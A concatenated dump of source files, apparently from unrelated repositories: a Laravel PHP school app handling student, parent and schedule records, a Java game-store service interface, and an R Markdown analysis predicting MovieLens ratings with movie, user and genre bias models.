$('#formDelete').attr('action', 'http://localhost:8000/admin/pengumuman/' + id);
$("#pengumumanKegiatanModal").modal('show');
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Jadwal extends Model
{
protected $table = 'jadwal';
/**
* The attributes that are mass assignable.
*
* @var array
*/
protected $fillable = [
'pembuat', 'judul', 'kelas'
];
public function jadwalGambar()
{
return $this->hasMany(JadwalGambar::class);
}
}
<file_sep><?php
namespace App\Http\Controllers;
use App\Student;
use App\Helper\WebHelper;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
class StudentController extends Controller
{
/**
* Create a new controller instance.
*
* @return void
*/
public function __construct()
{
$this->middleware('auth');
}
public function editStudentProfileForm($student_id) {
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else {
$student = Student::where('id', $student_id)->first();
return view('pages.EditProfileSiswa', ['student' => $student]);
}
}
public function editMotherProfileForm($student_id) {
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else {
$student = Student::where('id', $student_id)->first();
$mom = $student->user()->first()->parents()->where('peran', 'Ibu')->first();
return view('pages.EditProfileIbu', ['student' => $student, 'mom' => $mom]);
}
}
public function editFatherProfileForm($student_id) {
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else {
$student = Student::where('id', $student_id)->first();
$dad = $student->user()->first()->parents()->where('peran', 'Ayah')->first();
return view('pages.EditProfileAyah', ['student' => $student, 'dad' => $dad]);
}
}
public function editStudentProfile(Request $request, $student_id) {
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else {
$student = Student::where('id', $student_id)->update(
[
'nama_lengkap' => $request->namaLengkap,
'nama_panggilan' => $request->namaPanggilan,
'jenis_kelamin' => $request->jenisKelamin,
'tempat_lahir' => $request->tempatLahir,
'tanggal_lahir' => $request->tanggalLahir,
'agama' => $request->agama,
'alamat_rumah' => $request->alamatRumah,
'telepon_rumah' => $request->teleponRumah,
'kelas' => $request->kelas,
]
);
return redirect()->route('successAndRedirect', ['url' => route('profile.edit.details', ['student_id' => $student_id])]);
}
}
public function editMotherProfile(Request $request, $student_id) {
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else {
$student = Student::where('id', $student_id)->first();
$mom = $student->user()->first()->parents()->where('peran', 'Ibu')->update(
[
'nama_lengkap' => $request->namaLengkapIbu,
'tanggal_lahir' => $request->tanggalLahirIbu,
'pendidikan' => $request->pendidikanTerakhirIbu,
'pekerjaan' => $request->pekerjaanIbu,
'alamat_kantor' => $request->alamatKerjaIbu,
'email' => $request->emailIbu,
'no_handphone' => $request->nomorHpIbu,
]
);
return redirect()->route('successAndRedirect', ['url' => route('profile.edit.details', ['student_id' => $student_id])]);
}
}
public function editFatherProfile(Request $request, $student_id) {
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else {
$student = Student::where('id', $student_id)->first();
$mom = $student->user()->first()->parents()->where('peran', 'Ayah')->update(
[
'nama_lengkap' => $request->namaLengkapAyah,
'tanggal_lahir' => $request->tanggalLahirAyah,
'pendidikan' => $request->pendidikanTerakhirAyah,
'pekerjaan' => $request->pekerjaanAyah,
'alamat_kantor' => $request->alamatKerjaAyah,
'email' => $request->emailAyah,
'no_handphone' => $request->nomorHpAyah,
]
);
return redirect()->route('successAndRedirect', ['url' => route('profile.edit.details', ['student_id' => $student_id])]);
}
}
public function graduateStudent($student_id) {
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->name == 'Orangtua') {
return redirect()->route('orangtua.home');
} else if ($user->roles()->first()->name == 'Guru') {
return redirect()->route('guru.home');
} else if ($user->roles()->first()->name == 'Fasilitator') {
return redirect()->route('fasilitator.home');
} else if ($user->roles()->first()->name == 'Co-fasilitator') {
return redirect()->route('cofasilitator.home');
} else {
$student = Student::where('id', $student_id)->update(
[
'lulus' => true,
]
);
return redirect()->route('successAndRedirect', ['url' => route('profile.edit.details', ['student_id' => $student_id])]);
}
}
public function cancelGraduateStudent($student_id) {
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->name == 'Orangtua') {
return redirect()->route('orangtua.home');
} else if ($user->roles()->first()->name == 'Guru') {
return redirect()->route('guru.home');
} else if ($user->roles()->first()->name == 'Fasilitator') {
return redirect()->route('fasilitator.home');
} else if ($user->roles()->first()->name == 'Co-fasilitator') {
return redirect()->route('cofasilitator.home');
} else {
$student = Student::where('id', $student_id)->update(
[
'lulus' => false,
]
);
return redirect()->route('successAndRedirect', ['url' => route('profile.edit.details', ['student_id' => $student_id])]);
}
}
public function editPhotoProfileStudent(Request $request, $student_id)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else {
$student = Student::where('id', $student_id)->first();
if ($request->has('foto_profile')) {
$image = WebHelper::saveImageToPublic($request->file('foto_profile'), '/picture/fotoProfile');
$student = Student::where('id', $student_id)->first()->update(
[
'foto_profile' => $image,
]
);
}
return redirect()->route('successAndRedirect', ['url' => route('profile.edit.details', ['student_id' => $student_id])]);
}
}
}
<file_sep><?php
namespace App\Http\Controllers\Auth;
use App\Parents;
use App\Role;
use App\Student;
use App\User;
use App\Helper\WebHelper;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\Validator;
use Illuminate\Foundation\Auth\RegistersUsers;
use Illuminate\Http\Request;
use Illuminate\Auth\Events\Registered;
class RegisterController extends Controller
{
/*
|--------------------------------------------------------------------------
| Register Controller
|--------------------------------------------------------------------------
|
| This controller handles the registration of new users as well as their
| validation and creation. By default this controller uses a trait to
| provide this functionality without requiring any additional code.
|
*/
// use RegistersUsers;
/**
* Show the application registration form.
*
* @return \Illuminate\Http\Response
*/
public function showRegistrationForm()
{
return view('auth.register');
}
/**
* Where to redirect users after registration.
*
* @var string
*/
protected $redirectTo = '/success';
/**
* Create a new controller instance.
*
* @return void
*/
public function __construct()
{
$this->middleware('guest');
}
/**
* Override handle a registration request for the application.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function register(Request $request)
{
$this->validator($request);
event(new Registered($user = $this->create($request)));
// $this->guard()->login($user);
return $this->registered($request, $user)
?: redirect($this->redirectPath());
}
/**
* Get a validator for an incoming registration request.
*
* @param array $request
* @return \Illuminate\Contracts\Validation\Validator
*/
protected function validator(Request $request)
{
return Validator::make($request->all(), [
'email' => ['required', 'string', 'email', 'max:255', 'unique:users'],
'password' => ['required', 'string', 'min:6', 'confirmed'],
]);
}
/**
* Create a ne user instance after a valid registration.
*
* @param array $request
* @return \App\User
*/
protected function create(Request $request)
{
$role_orangtua = Role::where('name', 'Orangtua')->first();
$user = new User;
$user->name = $request->namaLengkap;
$user->email = $request->email;
$user->password = <PASSWORD>($request->password);
$user->save();
$user->roles()->save($role_orangtua);
$student = new Student;
$fotoKK = WebHelper::saveImageToPublic($request->file('fotoKK'), '/picture/fotoKK');
$fotoProfile = WebHelper::saveImageToPublic($request->file('fotoProfile'), '/picture/fotoProfile');
$student->nama_lengkap = $request->namaLengkap;
$student->nama_panggilan = $request->namaPanggilan;
$student->kelas = $request->kelas;
$student->jenis_kelamin = $request->jenisKelamin;
$student->tempat_lahir = $request->tempatLahir;
$student->tanggal_lahir = $request->tanggalLahir;
$student->usia = $request->usia;
$student->agama = $request->agama;
$student->alamat_rumah = $request->alamatRumah;
$student->telepon_rumah = $request->teleponRumah;
$student->foto_kk = $fotoKK;
$student->foto_profile = $fotoProfile;
$student->anak_ke = $request->anakKe . '/' . $request->anakDari;
$student->catatan_medis = $request->catatanMedis . ' ' . $request->keteranganMedis;
$student->penyakit_berat = $request->penyakit;
$student->keadaan_khusus = $request->keadaan;
$student->sifat_baik = $request->sifatBaik;
$student->sifat_diperhatikan= $request->sifatPerhatian;
$user->student()->save($student);
// $student->save();
$mother = new Parents;
if ($request->has('fotoKTPIbu')) {
$fotoKTPIbu = WebHelper::saveImageToPublic($request->file('fotoKTPIbu'), '/picture/fotoKTP');
}
$mother->peran = 'Ibu';
$mother->nama_lengkap = $request->namaLengkapIbu;
$mother->tempat_lahir = $request->tempatLahirIbu;
$mother->tanggal_lahir = $request->tanggalLahirIbu;
$mother->agama = $request->agamaIbu;
$mother->pendidikan = $request->pendidikanTerakhirIbu;
$mother->jurusan = $request->jurusanIbu;
$mother->pekerjaan = $request->pekerjaanIbu;
$mother->alamat_kantor = $request->alamatKerjaIbu;
$mother->telepon_kantor = $request->teleponKantorIbu;
$mother->email = $request->emailIbu;
$mother->alamat_rumah = $request->alamatRumahIbu;
$mother->no_handphone = $request->nomorHpIbu;
if ($request->has('fotoKTPIbu')) {
$mother->foto_ktp = $fotoKTPIbu;
}
$user->student()->save($mother);
// $mother->save();
$father = new Parents;
if ($request->has('fotoKTPAyah')) {
$fotoKTPAyah = WebHelper::saveImageToPublic($request->file('fotoKTPAyah'), '/picture/fotoKTP');
}
$father->peran = 'Ayah';
$father->nama_lengkap = $request->namaLengkapAyah;
$father->tempat_lahir = $request->tempatLahirAyah;
$father->tanggal_lahir = $request->tanggalLahirAyah;
$father->agama = $request->agamaAyah;
$father->pendidikan = $request->pendidikanTerakhirAyah;
$father->jurusan = $request->jurusanAyah;
$father->pekerjaan = $request->pekerjaanAyah;
$father->alamat_kantor = $request->alamatKerjaAyah;
$father->telepon_kantor = $request->teleponKantorAyah;
$father->email = $request->emailAyah;
$father->alamat_rumah = $request->alamatRumahAyah;
$father->no_handphone = $request->nomorHpAyah;
if ($request->has('fotoKTPIbu')) {
$father->foto_ktp = $fotoKTPAyah;
}
$user->student()->save($father);
// $father->save();
$wali = new Parents;
$wali->peran = 'Wali';
$wali->nama_lengkap = $request->namaLengkapWali;
$wali->tempat_lahir = $request->tempatLahirWali;
$wali->tanggal_lahir = $request->tanggalLahirWali;
$wali->agama = $request->agamaWali;
$wali->pendidikan = $request->pendidikanTerakhirWali;
$wali->jurusan = $request->jurusanWali;
$wali->pekerjaan = $request->pekerjaanWali;
$wali->alamat_kantor = $request->alamatKerjaWali;
$wali->telepon_kantor = $request->teleponKantorWali;
$wali->email = $request->emailWali;
$wali->alamat_rumah = $request->alamatRumahWali;
$wali->no_handphone = $request->nomorHpWali;
$user->student()->save($wali);
// $wali->save();
$nonwali = new Parents;
$nonwali->peran = 'Non-wali';
$nonwali->nama_lengkap = $request->namaLengkapNonWali;
$nonwali->telepon_kantor = $request->teleponRumahNonWali;
$nonwali->email = $request->emailNonWali;
$nonwali->no_handphone = $request->nomorHpNonWali;
$user->student()->save($nonwali);
// $nonwali->save();
// $user
// ->roles()
// ->attach(Role::where('name', 'Orangtua')->first());
// $user->student()->save($student);
// $user->parents()->saveMany([$mother, $father, $wali, $nonwali]);
//
// $student->user()->associate($user)->save();
// $mother->user()->associate($user)->save();
// $father->user()->associate($user)->save();
// $wali->user()->associate($user)->save();
// $nonwali->user()->associate($user)->save();
return $user;
}
/**
* The user has been registered.
*
* @param \Illuminate\Http\Request $request
* @param mixed $user
* @return mixed
*/
protected function registered(Request $request, $user)
{
//
}
/**
* Get the post register / login redirect path.
*
* @return string
*/
public function redirectPath()
{
if (method_exists($this, 'redirectTo')) {
return $this->redirectTo();
}
return property_exists($this, 'redirectTo') ? $this->redirectTo : '/home';
}
}
<file_sep><?php
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateStudentsTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('students', function (Blueprint $table) {
$table->increments('id');
$table->integer('user_id')->unsigned();
$table->string('nama_lengkap');
$table->string('nama_panggilan');
$table->string('jenis_kelamin');
$table->string('tempat_lahir');
$table->date('tanggal_lahir');
$table->integer('usia');
$table->string('agama');
$table->string('alamat_rumah');
$table->string('telepon_rumah');
$table->string('anak_ke');
$table->string('catatan_medis')->nullable();
$table->string('penyakit_berat')->nullable();
$table->string('keadaan_khusus')->nullable();
$table->string('sifat_baik')->nullable();
$table->string('sifat_diperhatikan')->nullable();
$table->string('kelas')->nullable();
$table->boolean('lulus')->default(false);
$table->string('foto_kk')->nullable();
$table->string('foto_profile')->nullable();
$table->timestamps();
$table->foreign('user_id')->references('id')->on('users');
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('students');
}
}
<file_sep><?php
namespace App\Http\Controllers;
use App\Jadwal;
use App\JadwalGambar;
use App\Student;
use App\Helper\WebHelper;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
class JadwalController extends Controller
{
/**
* Create a new controller instance.
*
* @return void
*/
public function __construct()
{
$this->middleware('auth');
}
public function addSchedule(Request $request)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->name == 'Orangtua') {
return redirect()->route('orangtua.home');
} else if ($user->roles()->first()->name == 'Guru') {
return redirect()->route('guru.home');
} else if ($user->roles()->first()->name == 'Fasilitator') {
return redirect()->route('fasilitator.home');
} else if ($user->roles()->first()->name == 'Co-fasilitator') {
return redirect()->route('cofasilitator.home');
} else {
$schedule = new Jadwal;
$schedule->pembuat = $user->name;
$schedule->judul = $request->judul;
$schedule->kelas = $request->kelas;
$schedule->save();
if ($files=$request->file('schedules')) {
foreach($files as $file){
$image = WebHelper::saveImageToPublic($file, '/picture/schedule');
$imageSchedule = new JadwalGambar;
$imageSchedule->url_lampiran = $image;
$imageSchedule->jadwal()->associate($schedule);
$imageSchedule->save();
}
}
$notificationMessage = ', telah menambahkan jadwal "' . $request->judul . '" untuk siswa ' . $request->kelas . '! :)';
$notificationUrl = 'profile/schedule/' . $request->kelas . '/list';
NotificationController::generateNotificationToSpecificClass($user->roles()->first()->name, $notificationMessage, $request->kelas, $notificationUrl);
return redirect()->route('successAndRedirect', ['url' => route('profile.schedule.list', ['kelas' => $schedule->kelas])]);
}
}
public function editSchedule(Request $request, $id)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->name == 'Orangtua') {
return redirect()->route('orangtua.home');
} else if ($user->roles()->first()->name == 'Guru') {
return redirect()->route('guru.home');
} else if ($user->roles()->first()->name == 'Fasilitator') {
return redirect()->route('fasilitator.home');
} else if ($user->roles()->first()->name == 'Co-fasilitator') {
return redirect()->route('cofasilitator.home');
} else {
$jadwal = Jadwal::where('kelas', $request->kelas)->first();
$jadwal->judul = $request->judul;
$jadwal->pembuat = $user->name;
$jadwal->save();
if($files=$request->file('schedules')){
foreach($files as $file){
$image = WebHelper::saveImageToPublic($file, '/picture/schedule');
$imageSchedule = new JadwalGambar;
$imageSchedule->url_lampiran = $image;
$imageSchedule->jadwal()->associate($jadwal);
$imageSchedule->save();
}
}
// $notificationMessage = ', telah mengubah jadwal "' . $jadwal->judul . '" untuk siswa ' . $jadwal->kelas . '! :)';
// $notificationUrl = 'profile/schedule/' . $jadwal->kelas . '/list';
// NotificationController::generateNotificationToSpecificClass($user->name, $notificationMessage, $jadwal->kelas, $notificationUrl);
return redirect()->route('successAndRedirect', ['url' => route('profile.schedule.list', ['kelas' => $jadwal->kelas])]);
}
}
public function deleteSchedule($id)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->name == 'Orangtua') {
return redirect()->route('orangtua.home');
} else if ($user->roles()->first()->name == 'Guru') {
return redirect()->route('guru.home');
} else if ($user->roles()->first()->name == 'Fasilitator') {
return redirect()->route('fasilitator.home');
} else if ($user->roles()->first()->name == 'Co-fasilitator') {
return redirect()->route('cofasilitator.home');
} else {
$jadwal = Jadwal::find($id);
$jadwalGambar = JadwalGambar::where('jadwal_id',$id);
$judul = $jadwal->judul;
$kelas = $jadwal->kelas;
$jadwalGambar->delete();
$jadwal->delete();
// $notificationMessage = ', telah menghapus jadwal "' . $judul . '" untuk siswa ' . $kelas . '! :)';
// $notificationUrl = 'profile/schedule/' . $kelas . '/list';
// NotificationController::generateNotificationToSpecificClass($user->name, $notificationMessage, $kelas, $notificationUrl);
return redirect()->route('successAndRedirect', ['url' => route('profile.schedule.list', ['kelas' => $kelas])]);
}
}
}
| 7aacedb96c7b3589a1a18252879221c9ede1b674 | [
"JavaScript",
"Markdown",
"PHP"
] | 26 | PHP | razaqa/TPA-Makara-UI | 54a05f407f3c036694d58e07a129f7ac711bf733 | 5cb26d31add48471a7f2ee79da4cf834b65ad317 |
refs/heads/master | <repo_name>deltac13/soilc-midwest<file_sep>/code/models/graphs.R
library(tidyverse)
library(lme4)
library(mgcv)
library(itsadug)
library(reghelper)
library(urbnmapr)
library(urbnthemes)
# data #####
all_data <- readRDS("data/all_data_2020.08.07.rds")
all.data.stan <- readRDS("data/all_data_stan_2020.08.07.rds")
#map settings
set_urbn_defaults(style = "map")
states_sf <- get_urbn_map(map = "states", sf = TRUE)
counties_sf <- get_urbn_map("counties", sf = TRUE)
all_data_summary <- all_data %>%
filter(spei.cut != "Normal") %>%
group_by(GEOID) %>%
summarise(Loss_cost = mean(loss_cost, na.rm =T),
SOM = mean(ssurgo_om_mean),
Yield_anom = mean(Yield_decomp_mult)) %>%
filter(!is.na(Loss_cost)) %>%
right_join(counties_sf, by = c(GEOID = "county_fips")) %>%
filter(state_abbv %in% c("PA","WI", "MI", "MN","IL","IN","IA","OH", "MO","KY")) %>%
sf::st_as_sf(.)
RColorBrewer::brewer.pal(colorRampPalette(c("#fff7bc", "#662506")), n=5)
pal(5)
states_cropped <-states_sf %>%
filter(state_abbv %in% c("PA","WI", "MI", "MN","IL","IN","IA","OH", "MO","KY"))
som.map <- ggplot(all_data_summary) +
geom_sf(data = all_data_summary,
mapping = aes(fill = SOM),
color = "#ffffff", size = 0.25) +
scale_fill_gradientn(breaks = scales::breaks_pretty(n = 5),
colours = RColorBrewer::brewer.pal(n = 5,"RdYlBu")) +
labs(fill = "SOM (%)") +
coord_sf(crs = sf::st_crs(all_data_summary))+
geom_sf(data = states_cropped, fill = "NA", color = "black", size = 0.25)+
theme(plot.background = element_rect(colour = "black", fill = "#f2f2f2"))
lc.map <- ggplot(all_data_summary) +
geom_sf(data = all_data_summary,
mapping = aes(fill = Loss_cost),
color = "#ffffff", size = 0.25) +
scale_fill_gradientn(breaks = scales::breaks_pretty(n = 5),
colours = rev(RColorBrewer::brewer.pal(n = 5,"RdYlBu"))) +
labs(fill = "Loss \ncost") +
coord_sf(crs = sf::st_crs(all_data_summary))+
geom_sf(data = states_cropped, fill = "NA", color = "black", size = 0.25)+
theme(plot.background = element_rect(colour = "black", fill = "#f2f2f2"))
ggsave(ggpubr::ggarrange(som.map, lc.map, nrow=2, labels = c("a.","b."), widths = c(1,1), hjust = -0.15 ),
filename = "~/som_lc.map.jpg", width = 4, height = 5, units = "in")
hist(all_data_summary$Loss_cost)
ggsave(som.map, filename = "~/som.map.jpg", width = 4, height = 2.5, units = "in")
ggsave(lc.map, filename = "~/lc.map.jpg", width = 4, height = 2.5, units = "in")
| c10d6f8ed4ad1d91e55072f3bdda0cdea269c620 | [
"R"
] | 1 | R | deltac13/soilc-midwest | 7fd8b9cd9266a8acad55db4fbe58305ec388537b | c40b17b270236ab80c5d704d91985444defbd029 |
refs/heads/master | <file_sep>package com.softuni.gamestore.services;
import com.softuni.gamestore.domain.dtos.UserLoginDto;
import com.softuni.gamestore.domain.dtos.UserRegisterDto;
public interface UserService {
void registerUser(UserRegisterDto userRegisterDto);
void loginUser(UserLoginDto userLoginDto);
void logout();
boolean isLoggedUserIsAdmin();
}
| d57cfc14646090f7bf8c592d32cd2c7d7a52a6c0 | [
"Java"
] | 1 | Java | KaloyanKrastevBG/game-store | e25b0b058e0fd412427ad28c2f58a39cb63271ba | 57c4322f1dbb922e61edb700f8e988aaf38244fc |
refs/heads/master | <file_sep>---
title: "MovieLens"
author: "<NAME>"
date: "June 9, 2020"
output:
pdf_document: default
html_document:
df_print: paged
---
```{r setup, include=FALSE}
knitr::opts_chunk$set(echo = TRUE)
```
## Overview
Predicting Movies and Product ratings are in high demand due to the additional revenue that can be generated by presenting a list of movies or products they could be interested in based on their historical views or purchases. In this challenge, we were expected to come up with a model that would train on a large data set (edx) and when predicted using the validation set (validation) would generate an error of no more than **0.86490** for maximum credit.
There are a lot of methods available to fit our model, many of them could not handle the large objects that were needed to analyze the raw data, and hence were rejected.The methodology chosen incorporated 4 significant effects that could produce a lower than expected error by an iterative process of introducing one potentially significant variable and studying its effect on the RMSE. The effects of the individual variables were then regularized to avoid any skewing of the ratings by outliers.
## Analysis
Lets load all the libraries required
```{r libload,eval=TRUE,echo=FALSE,warning=FALSE,message=FALSE}
library(tidyverse)
library(data.table)
library(caret)
library(stringr)
library(dplyr)
library(tidyr)
library(ggplot2)
library(knitr)
```
Create the edx and validation data by getting it from the movielens site.
```{r fetchdata, echo=FALSE,eval=TRUE,cache=TRUE,warning=FALSE,message=FALSE}
if(!require(tidyverse)) install.packages("tidyverse", repos = "http://cran.us.r-project.org")
if(!require(caret)) install.packages("caret", repos = "http://cran.us.r-project.org")
if(!require(data.table)) install.packages("data.table", repos = "http://cran.us.r-project.org")
# MovieLens 10M dataset:
# https://grouplens.org/datasets/movielens/10m/
# http://files.grouplens.org/datasets/movielens/ml-10m.zip
dl <- tempfile()
download.file("http://files.grouplens.org/datasets/movielens/ml-10m.zip", dl)
ratings <- fread(text = gsub("::", "\t", readLines(unzip(dl, "ml-10M100K/ratings.dat"))),
col.names = c("userId", "movieId", "rating", "timestamp"))
movies <- str_split_fixed(readLines(unzip(dl, "ml-10M100K/movies.dat")), "\\::", 3)
colnames(movies) <- c("movieId", "title", "genres")
movies <- as.data.frame(movies) %>% mutate(movieId = as.numeric(levels(movieId))[movieId],
title = as.character(title),
genres = as.character(genres))
movielens <- left_join(ratings, movies, by = "movieId")
# Validation set will be 10% of MovieLens data
set.seed(1, sample.kind="Rounding")
# if using R 3.5 or earlier, use `set.seed(1)` instead
test_index <- createDataPartition(y = movielens$rating, times = 1, p = 0.1, list = FALSE)
edx <- movielens[-test_index,]
temp <- movielens[test_index,]
# Make sure userId and movieId in validation set are also in edx set
validation <- temp %>%
semi_join(edx, by = "movieId") %>%
semi_join(edx, by = "userId")
# Add rows removed from validation set back into edx set
removed <- anti_join(temp, validation)
edx <- rbind(edx, removed)
rm(dl, ratings, movies, test_index, temp, movielens, removed)
```
Initial inspection of the data set shows that there are no NA values to be cleaned up, and that there are no 0 rating that needs to be imputed as well
```{r clean}
any(is.na(edx))
any(edx$rating==0)
```
### Data Cleaning
We can notice that the title of the movie contains two pieces of information which can be seperated out into two variables, title and the year the movie was released.
The timestamp is in the epoch format, and can easily be converted into a datetime if we decide to use that variable.
The genre variable contains all the genre that a movie belongs to seperated by "|" and we will not split it out as that complex genre themselves could be treated as unique.
Lets first seperate out the title and year from the edx and validation data frames.This introduces another variable year to the data set.
```{r regex}
edx <- edx %>% mutate(year = as.numeric(substr(str_extract(title,"\\(\\d\\d\\d\\d\\)"),2,5)),
title = substr(title,1,regexpr("\\(\\d\\d\\d\\d\\)",title)-2))
validation <- validation %>%
mutate(year = as.numeric(substr(str_extract(title,"\\(\\d\\d\\d\\d\\)"),2,5)),
title = substr(title,1,regexpr("\\(\\d\\d\\d\\d\\)",title)-2))
```
### Data Partition
Since we are not allowed to use the validation data set for testing our models, we will start off by creating a training set and test set from the edx data
```{r trainset, message=FALSE,warning=FALSE}
#create test and train sets
set.seed(1,sample.kind = "Rounding")
test_index <- createDataPartition(y=edx$rating,times = 1,p = 0.2,list = FALSE) # test set = 20%
train_set <- edx %>% slice(-test_index)
temp <- edx %>% slice(test_index)
#cleanup
rm(test_index)
```
to make sure the test data has all the users and movies in the training set, we identify the ones that do not and remove it from the test set and move it back to the training set.
```{r test-train,message=FALSE}
test_set <- temp %>% semi_join(train_set,by = "movieId","userId")
removed <- anti_join(temp, test_set)
train_set <- rbind(train_set, removed)
#cleanup
rm(temp,removed)
```
The data set is too large for my laptop and R to handle any kind of standard models to be fit using the caret train function on the whole training set. Hence we will try to introduce one variable at a time to predict the outcome using residual values to identify the bias.
### Exploration Plot
Lets plot the data for deeper understanding
```{r expplot}
train_set %>%
keep(is.numeric) %>% # Keep only numeric columns
gather() %>% # Convert to key-value pairs
ggplot(aes(value)) + # Plot the values
facet_wrap(~ key, scales = "free") + # In separate panels
geom_density() # Densities
```
#### Observations:
1. Some movies have lot of ratings, while the majority have very few ratings
2. Most of the movies have a 3 and 4 rating.
3. Certain periods of time seems to have more ratings than othgers, this could be the effect of some blockbuster movies.
4. Most of the ratings are from the period of 1970 till 2008 in the dataset peaking at around 1994/1995
### Average Rating Model
Lets start by making the assumption that the rating of a movie is just the average __$\mu$__ of all the movie ratings (from the rating plot) and variation of the movie ratings from one to another is explained by __$\epsilon$~u,i~__ , where *u* is a specific user rating the movie *i*
<center> __Y~u,i~ = $\mu$ + $\epsilon$~u,i~__ </center>
By calculating the average __$\mu$__ of all the movie ratings, we get
```{r JustMean}
mu <- mean(train_set$rating)
mu
```
lets calculate the RMSE for this method
```{r RMSE_mu}
rmse_mu <- RMSE(mu,test_set$rating)
rmse_mu
```
We need a table to hold the RMSE's as we go along, and we will store them in a table with the method used and the RMSE obtained that method when run against the test set to compare and contrast.
```{r RMSE_mu_list}
RMSE_table <- data.frame(method="Average Model",RMSE=rmse_mu)
RMSE_table %>% kable()
```
As we can see, 1.05 is a large RMSE, and we will try to bring it down by identifying more effects and see if the error component __$\epsilon$~u,i~__ can be reduced.
### Average and Movie bias Model
We will now explore the data provided further and see if there is movie bias that can be identified.In our observations, we saw that some movies *i* got a lot of ratings than others (from the movieId exploration plot) which explains a movie effect. lets now sample a few movies and see if they are randomly distributed, so that we can estimate the bias by applying the central limit theorem.
```{r movieId,warning=FALSE,message=FALSE}
set.seed(1,sample.kind = "Rounding")
movies <- data.frame(sample(train_set$movieId,100))
names(movies) <- "movieId"
average_ratings <- movies %>% left_join(train_set,by = "movieId") %>% group_by(movieId) %>%
summarize(avg = mean(rating))
hist(average_ratings$avg)
```
we observe that the distribution is almost normal centered around 3.5 - 4 with some movies getting lower ratings and some higher.
We will try to estimate the rating by introducing another effect __*b~i~*__ to the residual which can reduce our RMSE like this
<center> __Y~u,i~ = $\mu$ + *b~i~* + $\epsilon$~u,i~__ </center>
```{r estimatebi,warning=FALSE,message=FALSE}
bi <- train_set %>% group_by(movieId) %>% # grouping by the movies
summarize(b_i = mean(rating - mu)) # mean of the residual
```
Lets predict our ratings with this model and calculate the RMSE with the movie bias factored in from the test set.
```{r predict_mu_bi,warning=FALSE,message=FALSE}
predict_mu_bi <-
test_set %>% left_join(bi,by = "movieId") %>%
mutate(mu_bi = mu + b_i) # get the movie bias and add it to average rating
```
Calculating the RMSE with this prediction which is the combination of the average and the movie bias
```{r RMSE_mu_bi}
rmse_mu_bi <- RMSE(predict_mu_bi$mu_bi,test_set$rating)
rmse_mu_bi
```
Lets add it to the table and view it.
```{r RMSE_mu_bi_list,warning=FALSE}
RMSE_table <- bind_rows(RMSE_table,data.frame(method="Average and Movie bias Model",RMSE=rmse_mu_bi))
RMSE_table %>% kable()
```
That is a significant reduction in the RMSE, There could still be some other effects that could be identified. Let us consider this scenario, where a user rates specific movies higher than other users, this bias denoted by __*b~u~*__ could be extracted from the residuals of the first two methods.
### Average, Movie bias and User bias Model
we see that the users typically have a similar density (from the exploratory plot userId) and can pick a subset of the users to see if there is a user bias, to do this lets randomly pick a 100 users and see if the distribution of their ratings follow a pattern.
```{r usershist,warning=FALSE}
set.seed(1,sample.kind = "Rounding")
users <- data.frame(sample(train_set$userId,100))
names(users) <- "userId"
average_ratings <- users %>% left_join(train_set,by = "userId") %>% group_by(userId) %>%
summarize(avg = mean(rating))
hist(average_ratings$avg)
```
As we can see, some users give movies low ratings, while some users give them a high rating. this shows the prevelance of a user bias
The prediction is now represented as below.
<center> __Y~u,i~ = $\mu$ + *b~i~* + *b~u~* + $\epsilon$~u,i~__ </center>
we can use the similar modeling technique as done before to identify the user bias
```{r userbias,warning=FALSE}
bu <- train_set %>% left_join(bi,by = "movieId") %>% #join the movie bias table
group_by(userId) %>% # grouping by the users and then movies that they rated
summarize(b_u = mean(rating - mu - b_i )) # mean of the residual
```
We can now apply the user bias to the model and predict the ratings of the movies and see if it makes a difference in the RMSE
```{r predict_mu_bi_bu,warning=FALSE}
predict_mu_bi_bu <-
test_set %>% left_join(bi,by = "movieId") %>% # join test set and train set movie bias on movie id
left_join(bu,by = "userId") %>% # join test set and train set user bias on user id
mutate(mu_bi_bu = mu + b_u + b_i) # get the movie bias, user bias and add it to average rating
```
Calculating the RMSE with this prediction which is the combination of the average,the movie bias and user bias
```{r RMSE_mu_bi_bu}
rmse_mu_bi_bu <- RMSE(predict_mu_bi_bu$mu_bi_bu,test_set$rating)
rmse_mu_bi_bu
```
```{r RMSE_mu_bi_bu_list,warning=FALSE}
RMSE_table <- bind_rows(RMSE_table,data.frame(method="Average, Movie bias and User bias Model",
RMSE=rmse_mu_bi_bu))
RMSE_table %>% kable()
```
We have achieved significant improvement from 1.05 to about 0.8659.
We will now see if the genre has any bearing on the rating of the movies, and if it does, we will determine how we can fit a model with the residual values and its effect on the RMSE.
The below code tries to contrast the mean movie ratings by genre and the mean of the estimate we have so far, to observe the genre bias. This also helps us adjust our estimate based on the distance for each genre.
```{r genre,warning=FALSE}
bg <-
train_set %>%
left_join(bi, by="movieId") %>%
left_join(bu, by="userId") %>%
group_by(genres) %>% # join the tables geneated earlier and group them by genre
summarize(n = n(),
avg = mean(rating),
avgerr = mean(b_u+b_i+mu),
se = sd(rating)/sqrt(n()),
b_g = mean(rating-b_u-b_i-mu)) %>%
mutate(genres = reorder(genres, avg)) #arrange by genre and their averages so it
#can be plotted in order
```
Lets plot the first 15 genres
```{r genre_effect,warning=FALSE}
